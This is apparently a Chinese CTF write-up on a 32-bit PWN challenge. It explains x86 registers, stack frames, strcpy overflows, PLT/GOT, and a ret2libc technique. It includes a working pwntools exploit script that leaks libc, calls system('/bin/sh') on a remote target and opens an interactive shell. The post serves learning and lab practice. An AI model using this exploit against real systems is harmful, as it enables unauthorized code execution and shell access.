前两天在一个CTF靶场做一个渗透测试题的时候,其中有一道题是PWN类型的,本着学习研究的态度,尝试做了一下。在请教了几个大佬后终于是将题做了出来,本篇记录一下做题过程。
CPU以及栈结构
想要学习二进制安全,不了解CPU是不行的,所以首先介绍一下CPU以及栈结构。CPU有好多架构,本文中的CPU针对X86架构。
CPU的几种寄存器
寄存器是 CPU 内部用来存放数据的一些小型存储区域,用来暂时存放参与运算的数据和运算结果以及一些 CPU 运行需要的信息,寄存器类型主要分为如下类别:
- 通用寄存器
- 标志寄存器
- 指令寄存器
- 段寄存器
- 控制寄存器
- 调试寄存器
- 描述符控制器
- 任务寄存器
- MSR寄存器
本文简单了解一下通用寄存器和指令寄存器。
通用寄存器
最常用的,也是最基础的有8个通用寄存器(注意一般看到的EAX、ECX也是指的这类寄存器再32位CPU上的拓展,另外AL、AH之类是指的这类寄存器的低位、高位):
寄存器 | 原文 | 解释 | 说明 |
AX | accumulator | 累加寄存器 | 通常用来执行加法,函数调用的返回值一般也放在这里面 |
CX | counter | 计数寄存器 | 通常用来作为计数器,比如for循环 |
DX | data | 数据寄存器 | 数据存取 |
BX | base | 基址寄存器 | 读写I/O端口时,edx用来存放端口号 |
SP | stack pointer | 栈指针寄存器 | 栈顶指针,指向栈的顶部 |
BP | base pointer | 基址指针寄存器 | 栈底指针,指向栈的底部,通常用ebp+偏移量的形式来定位函数存放在栈中的局部变量 |
SI | source index | 源变址寄存器 | 字符串操作时,用于存放数据源的地址 |
DI | destination index | 目标变址寄存器 | 字符串操作时,用于存放目的地址的,和esi两个经常搭配一起使用,执行字符串的复制等操作 |
指令寄存器
eip: 指令寄存器可以说是CPU中最最重要的寄存器了,它指向了下一条要执行的指令所存放的地址,CPU的工作其实就是不断取出它指向的指令,然后执行这条指令,同时指令寄存器继续指向下面一条指令,如此不断重复,这就是CPU工作的基本日常。
在 x64 架构下,32位的 eip 升级为64位的 rip寄存器。
栈结构
栈是一个先进后出(FILO)结构。把数据压入栈时用push进入;当从栈取出数据时用pop取出。栈随着数据被压入或者弹出而增长或者减小。最新压入栈的项被认为是在“栈的顶部”。当从栈中弹出一个项时,我们得到的是位于栈最顶部的那一个(即最新压入的那一个)
在x86体系中,栈顶由堆栈指针寄存器ESP来标记,它是一个32位寄存器,里面存放着最后一个压入栈顶的项的内存地址。正因为有它,我们才能够随时操作到需要的项。需要注意的是,栈顶是朝着低内存方向增长的。
在程序执行期间,函数内部所有局部变量都是从栈中分配的内存空间。在程序编译期间,编译器会计算出函数中所需要的栈空间,在执行函数时,函数头部会有一条sub esp,xxx来提升栈顶来容纳函数执行期间所需要的变量。
程序执行过程
当我们调用一个函数时,C语言代码可能是这样的:
printf("%d\n",123);
而汇编则是这样的:
push 123
push xxx ;字符串地址
call printf
push的作用是将操作数压入栈中,细分操作为先将ESP-4,然后将操作数放入ESP指向的内存空间中。
call的作用是改变EIP指向目标函数地址,并将下一条指令的地址压入栈中,当目标函数执行完成后,会通过ret指令返回到下一条指令处继续执行。
PWN之栈溢出原理
介绍完基础后,我们来了解一下为什么会存在栈溢出漏洞。
首先写一段demo代码如下:
void pwn1(char* str) {
char buf[0x20] = { 0 };
strcpy(buf, str);
printf("%s\n", buf);
}
void main() {
pwn1("12345678901234567890123456789012");
getchar();
}
VS编译器首先要关闭栈保护:
然后编译,调试执行:
pwn1的汇编代码如下:
00B516F0 <pw | 55 | push ebp |
00B516F1 | 8BEC | mov ebp,esp |
00B516F3 | 83EC 60 | sub esp,0x60 |
00B516F6 | 53 | push ebx |
00B516F7 | 56 | push esi |
00B516F8 | 57 | push edi |
00B516F9 | C645 E0 00 | mov byte ptr ss:[ebp-0x20],0x0 |
00B516FD | 33C0 | xor eax,eax |
00B516FF | 8945 E1 | mov dword ptr ss:[ebp-0x1F],eax |
00B51702 | 8945 E5 | mov dword ptr ss:[ebp-0x1B],eax |
00B51705 | 8945 E9 | mov dword ptr ss:[ebp-0x17],eax |
00B51708 | 8945 ED | mov dword ptr ss:[ebp-0x13],eax |
00B5170B | 8945 F1 | mov dword ptr ss:[ebp-0xF],eax |
00B5170E | 8945 F5 | mov dword ptr ss:[ebp-0xB],eax |
00B51711 | 8945 F9 | mov dword ptr ss:[ebp-0x7],eax |
00B51714 | 66:8945 FD | mov word ptr ss:[ebp-0x3],ax |
00B51718 | 8845 FF | mov byte ptr ss:[ebp-0x1],al |
00B5171B | 90 | nop |
00B5171C | 8B45 08 | mov eax,dword ptr ss:[ebp+0x8] |
00B5171F | 50 | push eax |
00B51720 | 8D4D E0 | lea ecx,dword ptr ss:[ebp-0x20] |
00B51723 | 51 | push ecx |
00B51724 | E8 9FF9FFFF | call pwn.B510C8 |Strcpy
00B51729 | 83C4 08 | add esp,0x8 |
00B5172C | 8D45 E0 | lea eax,dword ptr ss:[ebp-0x20] |
00B5172F | 50 | push eax |
00B51730 | 68 306BB500 | push pwn.B56B30 | B56B30:"%s\n"
00B51735 | E8 E6FBFFFF | call pwn.B51320 |Printf
00B5173A | 83C4 08 | add esp,0x8 |
00B5173D | 5F | pop edi |
00B5173E | 5E | pop esi |
00B5173F | 5B | pop ebx |
00B51740 | 8BE5 | mov esp,ebp |
00B51742 | 5D | pop ebp |
00B51743 | C3 | ret |
重点在00B51724地址处,这条代码是调用strcpy的代码。上面两个push就是该函数的两个参数,该函数的作用就是将一个字符串复制到另外一个缓冲区中,并且可以看出该函数没有长度参数,函数中通过判断字符串结尾的00为结束,所以如果源字符串长度超过缓冲区长度就会造成溢出。
目标缓冲区就是栈中的ebp-0x20,ebp是栈底指针,ebp+4就是上一层函数的返回地址,所以可以得出,只要源字符串长度超过0x20就会溢出覆盖原有数据。0x20就会覆盖原有EBP,0x24就会覆盖上层函数地址。
栈帧图如下:
所以只要我们控制我们的字符串溢出返回地址到我们想要执行的函数中,就可以造成任意代码执行。
稍稍改动一下代码,如下:
void exec() {
system("calc");
}
void pwn1(char* str) {
char buf[0x20] = { 0 };
strcpy(buf, str);
printf("%s\n", buf);
}
void main() {
char payload[0x28];
memset(payload, 'A', 0x24);
*(DWORD*)(payload + 0x24) = (DWORD)exec;
pwn1(payload);
getchar();
}
这段代码里我们手动添加了exec函数来执行计算器,我们在将pwn1函数的返回地址溢出覆盖成exec函数,这样就会打开计算器。
实战PWN
首先拿到一个ELF文件,拖到IDA中F5反汇编看一下伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char s[4]; // [esp+Ah] [ebp-1Eh]
strcpy(s, "plz input your name:\n");
v3 = strlen(s);
write(1, s, v3);
vul();
return 0;
}
ssize_t vul()
{
char buf; // [esp+4h] [ebp-24h]
return read(0, &buf, 0x80u);
}
很明显,溢出点在vul函数,该函数中通过read从标准输入中读取数据到buf缓冲区,而buf缓冲区的位置在ebp-0x24,所以我们需要0x24个字节填满缓冲区,然后4个字节覆盖EBP,4个字节覆盖返回地址。
溢出点找到了,但是溢出到什么地址上呢? 这是接下来我们要解决的问题。
PLT(过程链接表) GOT(全局偏移表)
在 Windows中存在一种叫做DLL(Dynamic Linkable Library动态链接库)的文件。它可以提供一些应用程序可以导入的数据、函数和类。DLL文件平时驻留在磁盘中,只有当运行的应用程序确实要调用这些DLL模块的情况下,系统才会将它们装载到内存空间中。这种方式不仅可以减少了应用程序EXE文件的大小和对内存空间的需求,耐而且这些DLL模块可以同时被多个应用程序所共享,从而极大方便了应用程序的设计。
在Linux中,也有这么一个东西,那就是Linux共享库,也就是.so文件。
不管是DLL还是SO,都是在运行中动态链接的,什么意思呢?当一段程序被编译器编译的时候,编译器如何知道代码中调用的系统API地址是什么呢?答案很显然,编译器并不能确认在不同版本系统上运行的API地址。这时候就需要在程序执行的时候进行动态链接,换句话说,程序调用的API地址是在程序运行时才确认的。
在Windows中在执行一个EXE的时候操作系统会通过IAT表将程序要调用的函数地址进行补全。
而Linux中,会通过PLT GOT这两个东西来进行动态链接。
PLT:代码段的一部分,PLT是一个数组,其中每个条目占16字节。每个被调用的函数都有一个PLT 条目,每个条目第一条代码就是跳转到目标函数的GOT中,如果是第一次执行,GOT中的地址是PLT的第二行代码,在PLT第二行代码中会调用函数获取真正的目标函数地址然后写入到GOT中并且执行。
GOT:表中每一项都是本运行模块要引用的一个全局变量或函数的地址。可以用GOT表来间接引用全局变量、函数,也可以把GOT表的首地址作为一个基 准,用相对于该基准的偏移量来引用静态变量、静态函数。由于加载器不会把运行模块加载到固定地址,在不同进程的地址空间中,各运行模块的绝对地址、相对位 置都不同。这种不同反映到GOT表上,就是每个进程的每个运行模块都有独立的GOT表,所以进程间不能共享GOT表。
plt,got执行过程简单来说如下图:
细节可以参考这篇文章
解题思路
虽然我们不知道目标系统用的libc版本,但是每个libc模块中函数相对偏移是固定的。所以我们可以控制程序溢出执行Write函数,并将write的地址写到标准输入中,然后我们通过泄露的write地址可以通过LibcSearch来获得匹配的libc文件,知道了用的哪个libc文件后,我们就可以在该文件中找到system函数的偏移和“/bin/sh"来执行任意命令了。
最终代码如下:
from pwn import *
from LibcSearcher import *
for select in range(1,9):
conn = remote('1.1.1.1', 9999)
# conn = process('main')
elf = ELF('main')
print(hex(elf.plt['write']))
print(hex(elf.got['write']))
payload = 0x24 * b'a' + b'bbbb' + p32(elf.plt['write']) + p32(0x0804848A) + p32(0x1) + p32(elf.got['write']) + p32(
0x4)
print(conn.recv())
conn.sendline(payload)
write_got_int = u32(conn.recv()[0:4])
write_got = hex(write_got_int)
print(write_got)
Write_libc = LibcSearcher('write', write_got_int)
Write_libc.select_libc(select)
libcbase = write_got_int - Write_libc.dump('write')
system_addr = libcbase + Write_libc.dump('system')
binsh_addr = libcbase + Write_libc.dump('str_bin_sh')
print("select:" + str(select) + "libc base:" + hex(libcbase) + '\n' + "systemaddr:" + hex(
system_addr) + "\n" + "binshaddr:" + hex(binsh_addr) + "\n\n")
payload = 0x28 * b'a' + p32(system_addr) + p32(0x0804848A) + p32(binsh_addr)
try:
conn.sendline(payload)
conn.sendline(b'whoami')
print(conn.recv())
conn.interactive()
except:
pass
其中用到了Pwntools模块,这里就不介绍了,百度很多文章。
参考
https://www.cnblogs.com/cloud-tree/p/11927485.html
https://blog.csdn.net/weixin_35126480/article/details/116857893
https://www.freesion.com/article/2356307462/